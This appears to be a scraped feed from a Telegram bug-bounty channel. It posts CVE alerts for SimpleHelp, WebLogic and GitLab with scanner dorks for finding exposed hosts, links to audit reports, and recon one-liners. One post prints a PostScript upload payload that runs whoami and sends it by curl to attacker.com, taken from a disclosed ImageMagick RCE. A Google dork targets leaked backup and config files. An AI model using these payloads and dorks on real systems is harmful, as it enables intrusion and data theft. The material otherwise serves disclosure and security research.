CVE-2024-57726, -57727, -57728: Multiple vulnerabilities in SimpleHelp, 7.2 - 8.8 rating❗️
The vulnerabilities allow attackers to upload arbitrary files to the SimpleHelp server, as well as escalate privileges, which together allows RCE to be carried out.
Search at Netlas.io:
👉 Link: https://nt.ls/Frx6H
👉 Dork: http.headers.server:"SimpleHelp"
Vendor's advisory: https://simple-help.com/kb---security-vulnerabilities-01-2025#
The vulnerabilities allow attackers to upload arbitrary files to the SimpleHelp server, as well as escalate privileges, which together allows RCE to be carried out.
Search at Netlas.io:
👉 Link: https://nt.ls/Frx6H
👉 Dork: http.headers.server:"SimpleHelp"
Vendor's advisory: https://simple-help.com/kb---security-vulnerabilities-01-2025#
👍6
⚡️Smart contract security report. It contains 2 High, 6 Medium & 8 Low severity issues.
✅https://github.com/gkrastenov/audits/blob/main/solo/SpartaDex-Security-Review.md
✅https://github.com/gkrastenov/audits/blob/main/solo/SpartaDex-Security-Review.md
❤9👍2
https://solodit.cyfrin.io/
All disclosed web3 protocols vulnerability reports with filters (like Hacktivity)
All disclosed web3 protocols vulnerability reports with filters (like Hacktivity)
Cyfrin Solodit
Smart Contract Vulnerability Dataset - Cyfrin Solodit
Explore the world’s largest data set of smart contract vulnerabilities, findings, and mitigations. Strengthen protocol and dApp security, research bugs before deployment.
🔥11👍2
Does anyone have Aura+ Songs Playlist ? Do Drop in Comments! Thank You.
🤨4🗿4
Content-Disposition: form-data; name="fileToUpload"; filename="pwn.pdf"Content-Type: application/pdf
%!PS
currentdevice null true mark /OutputICCProfile (%pipe%curl https://attacker.com/?a=$(whoami|base64) ).putdeviceparams
quit
Please open Telegram to view this post
VIEW IN TELEGRAM
HackerOne
Semrush disclosed on HackerOne: Remote Code Execution on...
The Logo upload in the report constructor at: https://www.semrush.com/my_reports/constructor
{F340480}
is passed through a not properly patched version of ImageMagick. You can use Postscript to...
{F340480}
is passed through a not properly patched version of ImageMagick. You can use Postscript to...
🔥8👍1
⚡WayBackup Finder - A passive way to find backups/ sensitive information.
⚠️ https://github.com/anmolksachan/WayBackupFinder
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤1
CVE-2025-21535: Server Takeover in Oracle WebLogic, 9.8 rating 🔥
An easily exploitable vulnerability in the Core component allows an unauthenticated attacker to remotely compromise a WebLogic server.
Search at Netlas.io:
👉 Link: https://nt.ls/6EpWK
👉 Dork: protocol:t3 OR protocol:t3s
Vendor's advisory: https://www.oracle.com/security-alerts/cpujan2025.html#AppendixFMW
An easily exploitable vulnerability in the Core component allows an unauthenticated attacker to remotely compromise a WebLogic server.
Search at Netlas.io:
👉 Link: https://nt.ls/6EpWK
👉 Dork: protocol:t3 OR protocol:t3s
Vendor's advisory: https://www.oracle.com/security-alerts/cpujan2025.html#AppendixFMW
👍6🫡1
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11🔥5❤3
Please open Telegram to view this post
VIEW IN TELEGRAM
Brut Security pinned «▶️ Explore Bug Bounty POC Videos: https://t.iss.one/brutsecurity_poc»
New Business Logic POC Video Shared -https://t.iss.one/brutsecurity_poc/9
🔥4❤1
CVE-2025-0314 and other: Multiple vulnerabilities in GitLab, 4.3 - 8.7 rating❗️
In a recent advisory, GitLab writed about three vulnerabilities, including stored XSS, resource exhaustion, and protected CI/CD variables exfiltration.
Search at Netlas.io:
👉 Link: https://nt.ls/BNKS8
👉 Dork: http.favicon.hash_sha256:72a2cad5025aa931d6ea56c3201d1f18e68a8cd39788c7c80d5b2b82aa5143ef OR http.headers.set_cookie:"gitlab" OR http.headers.location:"gitlab"
Vendor's advisory: https://about.gitlab.com/releases/2025/01/22/patch-release-gitlab-17-8-1-released/
In a recent advisory, GitLab writed about three vulnerabilities, including stored XSS, resource exhaustion, and protected CI/CD variables exfiltration.
Search at Netlas.io:
👉 Link: https://nt.ls/BNKS8
👉 Dork: http.favicon.hash_sha256:72a2cad5025aa931d6ea56c3201d1f18e68a8cd39788c7c80d5b2b82aa5143ef OR http.headers.set_cookie:"gitlab" OR http.headers.location:"gitlab"
Vendor's advisory: https://about.gitlab.com/releases/2025/01/22/patch-release-gitlab-17-8-1-released/
🤝4
site:*.example.com (ext:doc OR ext:docx OR ext:odt OR ext:pdf OR ext:rtf OR ext:ppt OR ext:pptx OR ext:csv OR ext:xls OR ext:xlsx OR ext:txt OR ext:xml OR ext:json OR ext:zip OR ext:rar OR ext:md OR ext:log OR ext:bak OR ext:conf OR ext:sql)Please open Telegram to view this post
VIEW IN TELEGRAM
👍16🔥13❤1
echo "target.com" | gau --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg \| grep -E "\.js($|\?.*)" \
| httpx -er "(?:(https?|ftp|git|ssh|telnet|smtp|imap|pop3|ldap|sftp|smb|nfs|rtmp|rtsp|ws|wss|irc|news|gopher|rsync|data):\/\/|\/)[^\s\"'\*\(\){};\\\^\$\&<>/\\?#]+(?:\?[^\s\"'<>/\\?#]+)?(?:\/[^\s\"'<>/\\?#]+)*" \-json -mr "application/javascript|text/javascript" \
| jq -r '.extracts[]' | tr -d '[],'Please open Telegram to view this post
VIEW IN TELEGRAM
❤20🔥16🐳1